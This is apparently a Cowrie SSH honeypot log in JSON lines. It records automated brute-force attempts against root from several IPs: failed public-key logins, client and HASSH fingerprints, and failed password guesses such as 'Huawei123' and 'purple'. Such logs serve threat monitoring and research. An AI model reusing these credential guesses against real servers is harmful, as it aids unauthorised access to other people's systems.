{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:90:94:88:6b:a6:ed:74:09:5e:06:77:a9:f8:a9:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2m8gcX6+VD+X9jDchTUon8EHy3kT39N+d05G1SWk0RN7N8yHOyGJQXSF8ajW9dx+DpwuB9M9pdBZxS3dkJ/ZimTa7bO81hSSpii6cekQ4vNqjelxcmbAh/KCtap7O/3gKEUM9iI3gtqVTfxjw3w467uYJgSKrb0fsCibg5sUAn2jIUQAsaM00lQzEu7JEcdSdBlTcQkMLr2idAuJvG+LiAv9HwUmCGcO9MPRrpuCLqRjk5wrPF+j9pk8wfs25Uu0nXPb5/9PBN2VYZ7Lfsf4UidMlVTmW4J3wOaK4ZJSLit4/Pgal8Bgi/lug8ha8I0ZWe0iN9m8Ww17pq4yYKGSR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:30.572482Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:2b:69:f3:97:58:a8:79:54:f5:cb:b8:16:30:13:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQC5UC9VqtRAS0ummT+MI+AaeikwJEf8EUjVmQbnDPspiD7Ha1O4UaOytbKfMkSM53tIayhHaOIGK2fLK+sC1gHFwZu27AVTsdJyD2F0BPBLGfajZl9YKM3E3WUz7Za3FAbLHyvEXSEx/C/tN+KiyBlJR5CtU8Cu9gDM9sLXUgyQZhwpcf4zoAMiZ7+zNUcMRuv18sF4f8Ve2Y70QN/u6/jSTa9pEA+fQPLWb3WLltydfF7kJZfqFlDXquAWdUOdOryyK85EpBgMMOjejpESIvvwWM4+MbXbOXFxpVRzTzwDTR/s3vmmh8Rb2jsPjm+eND9CoGCIzi+mbwpTJkQbmhlY9ZkW5O+bWrj+crirGfJV/NEK0UZXkhgt814sF0IeP/JPiv4Eb8e1jVA2FnSEYhJSSndDRR1QCyWqpcEugHeApqW2U4s7jGRElGzi+waTDXjMUh39Sz67Qmq5Tl4/BwoZW2+1YBdyzhOWK0a3An31MppzUs+lUllpMxVnRlAOxUirPQY5XFimpHDhULN7XTZSxsY/qW2mC0F6YoECwVYtotZk8jyvH08aiXTI1PqZ72pjDBtI0PWqKP+RvlMQ2NlairEnORc7rc3QJGa3P+ZwlhBEnPNCgLBf/j6DcBYE+aTI9zwFQKdDs5rdd0ipa5Onhv0iB4g+uDiZJqWzkalrxNHekABOtZLwBpU5YoSTa3bDCBEcL5LswRpaukN1FMPK02OfQs5lvsJIM3843j52U0nroSbQi5SvuhI89ORyMQioP2RlbfP/IoqVdRj3nH8GIaan3nttg6pxk6rvsdubynLxh4ymM/MpN7TxaFr3H3wtpBOYNbo6S9YcMwQVGmGXfZBxSqyH1ZsOZ8hiGB5B8fl1+eVXxC7ta1wDfEIM2lhN1KMUVb5k4WkL0K3Db1kGvncVREYoWKpdB59LI4xkLTvJ+FvNrFaI+LtnsE6IoRKaEndMvBWmEZ4opwmySriNKpM90fAE9xb05KicFmh9YAoUS18fUcYvAZAAXUhhOk6Y9UgfmcibsIqEDrO3Znwed1n9t0KTAPBkAc6zgmRo3H5nAbX4oeiHUzyGjC1n2E3PbYk/9JIVA5bt6ouJmSptGl7fnjobC50Nj4Va+w4jgikD4IpptG23NwJDb3vX8Rkj9dyq6HYIatf3oyZPAiZK3AD3lT865sGJKReWu7wYOGId0Mhzf8KPHQ5XYVK3gBuhshYttWyokm6ZQWu2r3pKio7982L+g9ln8xwevcfiba4JCgWMsupMs6grdeWlPKNBDLv691aZrXRbNiqxI3nlUxBojEvok77oWfxulKxxcrGNdUK0/qqrbMRUF7TU9RbdsiAtCqw7bPAvhT8olDm1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:2b:69:f3:97:58:a8:79:54:f5:cb:b8:16:30:13:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:30.699270Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:2b:69:f3:97:58:a8:79:54:f5:cb:b8:16:30:13:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQC5UC9VqtRAS0ummT+MI+AaeikwJEf8EUjVmQbnDPspiD7Ha1O4UaOytbKfMkSM53tIayhHaOIGK2fLK+sC1gHFwZu27AVTsdJyD2F0BPBLGfajZl9YKM3E3WUz7Za3FAbLHyvEXSEx/C/tN+KiyBlJR5CtU8Cu9gDM9sLXUgyQZhwpcf4zoAMiZ7+zNUcMRuv18sF4f8Ve2Y70QN/u6/jSTa9pEA+fQPLWb3WLltydfF7kJZfqFlDXquAWdUOdOryyK85EpBgMMOjejpESIvvwWM4+MbXbOXFxpVRzTzwDTR/s3vmmh8Rb2jsPjm+eND9CoGCIzi+mbwpTJkQbmhlY9ZkW5O+bWrj+crirGfJV/NEK0UZXkhgt814sF0IeP/JPiv4Eb8e1jVA2FnSEYhJSSndDRR1QCyWqpcEugHeApqW2U4s7jGRElGzi+waTDXjMUh39Sz67Qmq5Tl4/BwoZW2+1YBdyzhOWK0a3An31MppzUs+lUllpMxVnRlAOxUirPQY5XFimpHDhULN7XTZSxsY/qW2mC0F6YoECwVYtotZk8jyvH08aiXTI1PqZ72pjDBtI0PWqKP+RvlMQ2NlairEnORc7rc3QJGa3P+ZwlhBEnPNCgLBf/j6DcBYE+aTI9zwFQKdDs5rdd0ipa5Onhv0iB4g+uDiZJqWzkalrxNHekABOtZLwBpU5YoSTa3bDCBEcL5LswRpaukN1FMPK02OfQs5lvsJIM3843j52U0nroSbQi5SvuhI89ORyMQioP2RlbfP/IoqVdRj3nH8GIaan3nttg6pxk6rvsdubynLxh4ymM/MpN7TxaFr3H3wtpBOYNbo6S9YcMwQVGmGXfZBxSqyH1ZsOZ8hiGB5B8fl1+eVXxC7ta1wDfEIM2lhN1KMUVb5k4WkL0K3Db1kGvncVREYoWKpdB59LI4xkLTvJ+FvNrFaI+LtnsE6IoRKaEndMvBWmEZ4opwmySriNKpM90fAE9xb05KicFmh9YAoUS18fUcYvAZAAXUhhOk6Y9UgfmcibsIqEDrO3Znwed1n9t0KTAPBkAc6zgmRo3H5nAbX4oeiHUzyGjC1n2E3PbYk/9JIVA5bt6ouJmSptGl7fnjobC50Nj4Va+w4jgikD4IpptG23NwJDb3vX8Rkj9dyq6HYIatf3oyZPAiZK3AD3lT865sGJKReWu7wYOGId0Mhzf8KPHQ5XYVK3gBuhshYttWyokm6ZQWu2r3pKio7982L+g9ln8xwevcfiba4JCgWMsupMs6grdeWlPKNBDLv691aZrXRbNiqxI3nlUxBojEvok77oWfxulKxxcrGNdUK0/qqrbMRUF7TU9RbdsiAtCqw7bPAvhT8olDm1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:30.704055Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:c4:b8:17:dc:f5:ab:6d:fa:db:aa:e8:18:c0:13:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTdCKTWq40gYJMn2f16PBzpL8B6ZKm/TwAb89B2rlMCU3b/D8mwte5zz8RTohNaj0eYLVvqMvf+cnphN9eZEL7bSt2bOnGcKAuLBoqx/0Xc04MKntRD2lQ6Q53wpDcAnrFArt/EeAVl3xkg7vXKV7LlTbT9G9L/d6LiIOXvkBNblfNSwYhW/8yNhHS9O0GfWwpBnJvekxliM5DUAL7Blx4sCyC0DpK+15A76kICjKYQ/+yOVVoKGZLUOSIxcvpShpQvagliTkGYIcTkfL5j7f3Wzgdw+x5Q5975SRoyoDPZXlJTtF/bJGfqEKo1qhAY0kqqc8s9mIrsYNfLApaSATL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:c4:b8:17:dc:f5:ab:6d:fa:db:aa:e8:18:c0:13:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:30.831666Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:c4:b8:17:dc:f5:ab:6d:fa:db:aa:e8:18:c0:13:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTdCKTWq40gYJMn2f16PBzpL8B6ZKm/TwAb89B2rlMCU3b/D8mwte5zz8RTohNaj0eYLVvqMvf+cnphN9eZEL7bSt2bOnGcKAuLBoqx/0Xc04MKntRD2lQ6Q53wpDcAnrFArt/EeAVl3xkg7vXKV7LlTbT9G9L/d6LiIOXvkBNblfNSwYhW/8yNhHS9O0GfWwpBnJvekxliM5DUAL7Blx4sCyC0DpK+15A76kICjKYQ/+yOVVoKGZLUOSIxcvpShpQvagliTkGYIcTkfL5j7f3Wzgdw+x5Q5975SRoyoDPZXlJTtF/bJGfqEKo1qhAY0kqqc8s9mIrsYNfLApaSATL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:30.836416Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:fd:52:e1:d4:a5:9a:da:9c:14:10:a6:1d:f0:17:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdJ3wdQMczG8EZwGIopqnCNJDByf/Ln+TXsdaS1YrFB1GTll6D2HgiaFboEuOXHKUPNI4cvE87a2+VClsXd9dOD20CFVk6HtvD4K1lf4Ak/jI0WvZALcN5eYMNQdlEYeJwLf48M6p7npRd542rWDcxovEwkYDVGmYdieouI4mQHG2yfQcXF8kZFcBTYc7WkGPLbF6xLPeIWRTPAtigRD0crfX/n9lQDHpNaJ/tLzc2v0rAGx+gn2Q0N0Y/0EzRwXc5XuGzOAcYj2FyrWdaNQCQeSEj8rOIc0ql/sdZvOv5c4KMZPe/PJQOCgvx6SZ4TSJXmwVq2yeCmEykMPUlJKNf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:fd:52:e1:d4:a5:9a:da:9c:14:10:a6:1d:f0:17:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:30.958527Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:fd:52:e1:d4:a5:9a:da:9c:14:10:a6:1d:f0:17:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdJ3wdQMczG8EZwGIopqnCNJDByf/Ln+TXsdaS1YrFB1GTll6D2HgiaFboEuOXHKUPNI4cvE87a2+VClsXd9dOD20CFVk6HtvD4K1lf4Ak/jI0WvZALcN5eYMNQdlEYeJwLf48M6p7npRd542rWDcxovEwkYDVGmYdieouI4mQHG2yfQcXF8kZFcBTYc7WkGPLbF6xLPeIWRTPAtigRD0crfX/n9lQDHpNaJ/tLzc2v0rAGx+gn2Q0N0Y/0EzRwXc5XuGzOAcYj2FyrWdaNQCQeSEj8rOIc0ql/sdZvOv5c4KMZPe/PJQOCgvx6SZ4TSJXmwVq2yeCmEykMPUlJKNf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:30.962722Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:a1:45:5f:a0:0d:bf:e1:f1:f6:29:31:fb:77:e1:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKmNnJwSxvyewL7saudGrl3dD6kQJIHr7KE4vOxOn57S00tYVZpjjfmZGqrwDp/IrBlLzLdGnA0oTWNOQdlIQGpQMwb2ipfG3uzu9OklCMz8Hm5w9WPnKBwN9QfOOcAXZcmTToeWajmYzC8lH6mm4ApXGQNGuhRNA1T1HKgz7TWDukXCDvJSqqjP5cWp53Z+sGN867T4e7CI/U3UZD9uFNSEN0vQiJUxFLfpTmmOTAYNG+6j6twLorXG8nzETt7/wy1MfejL6k5w7K6WjT2YitinKzJwbyHXk4a1OR6ZxktO6+iD/J+tdihlRYoqZxASuAm4D4iMjbgOQ37BcnJvK9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:a1:45:5f:a0:0d:bf:e1:f1:f6:29:31:fb:77:e1:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:31.084988Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:a1:45:5f:a0:0d:bf:e1:f1:f6:29:31:fb:77:e1:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKmNnJwSxvyewL7saudGrl3dD6kQJIHr7KE4vOxOn57S00tYVZpjjfmZGqrwDp/IrBlLzLdGnA0oTWNOQdlIQGpQMwb2ipfG3uzu9OklCMz8Hm5w9WPnKBwN9QfOOcAXZcmTToeWajmYzC8lH6mm4ApXGQNGuhRNA1T1HKgz7TWDukXCDvJSqqjP5cWp53Z+sGN867T4e7CI/U3UZD9uFNSEN0vQiJUxFLfpTmmOTAYNG+6j6twLorXG8nzETt7/wy1MfejL6k5w7K6WjT2YitinKzJwbyHXk4a1OR6ZxktO6+iD/J+tdihlRYoqZxASuAm4D4iMjbgOQ37BcnJvK9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:31.089017Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:31.212597Z","src_ip":"31.41.222.110","session":"3d2f06487c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":54660,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f056468e2f","protocol":"ssh","message":"New connection: 43.134.112.237:54660 (159.203.135.109:22) [session: a8f056468e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:40.014537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:40.019287Z","src_ip":"43.134.112.237","session":"a8f056468e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:40.265086Z","src_ip":"43.134.112.237","session":"a8f056468e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lennon","message":"login attempt [root/lennon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:41.280460Z","src_ip":"43.134.112.237","session":"a8f056468e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:42.529331Z","src_ip":"43.134.112.237","session":"a8f056468e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":38726,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b3201746615","protocol":"ssh","message":"New connection: 103.96.74.162:38726 (10.17.0.5:22) [session: 1b3201746615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:44.375078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:44.379736Z","src_ip":"103.96.74.162","session":"1b3201746615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:44.634123Z","src_ip":"103.96.74.162","session":"1b3201746615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:45.444847Z","src_ip":"103.96.74.162","session":"1b3201746615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:46.701434Z","src_ip":"103.96.74.162","session":"1b3201746615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":35396,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9e5a430ae59","protocol":"ssh","message":"New connection: 185.40.30.168:35396 (10.17.0.5:22) [session: a9e5a430ae59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:49.738269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:49.743409Z","src_ip":"185.40.30.168","session":"a9e5a430ae59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:49.870332Z","src_ip":"185.40.30.168","session":"a9e5a430ae59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"campo","message":"login attempt [root/campo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:50.398681Z","src_ip":"185.40.30.168","session":"a9e5a430ae59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:51.526120Z","src_ip":"185.40.30.168","session":"a9e5a430ae59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":34590,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac172be61a89","protocol":"ssh","message":"New connection: 103.15.222.183:34590 (159.203.135.109:22) [session: ac172be61a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:54.272721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:54.278226Z","src_ip":"103.15.222.183","session":"ac172be61a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:54.530359Z","src_ip":"103.15.222.183","session":"ac172be61a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"purple","message":"login attempt [root/purple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:55.287003Z","src_ip":"103.15.222.183","session":"ac172be61a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:56.547759Z","src_ip":"103.15.222.183","session":"ac172be61a89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":37900,"dst_ip":"159.203.135.109","dst_port":22,"session":"17f991931da0","protocol":"ssh","message":"New connection: 69.49.246.176:37900 (159.203.135.109:22) [session: 17f991931da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:59.488863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:59.494624Z","src_ip":"69.49.246.176","session":"17f991931da0","protocol":"ssh"}
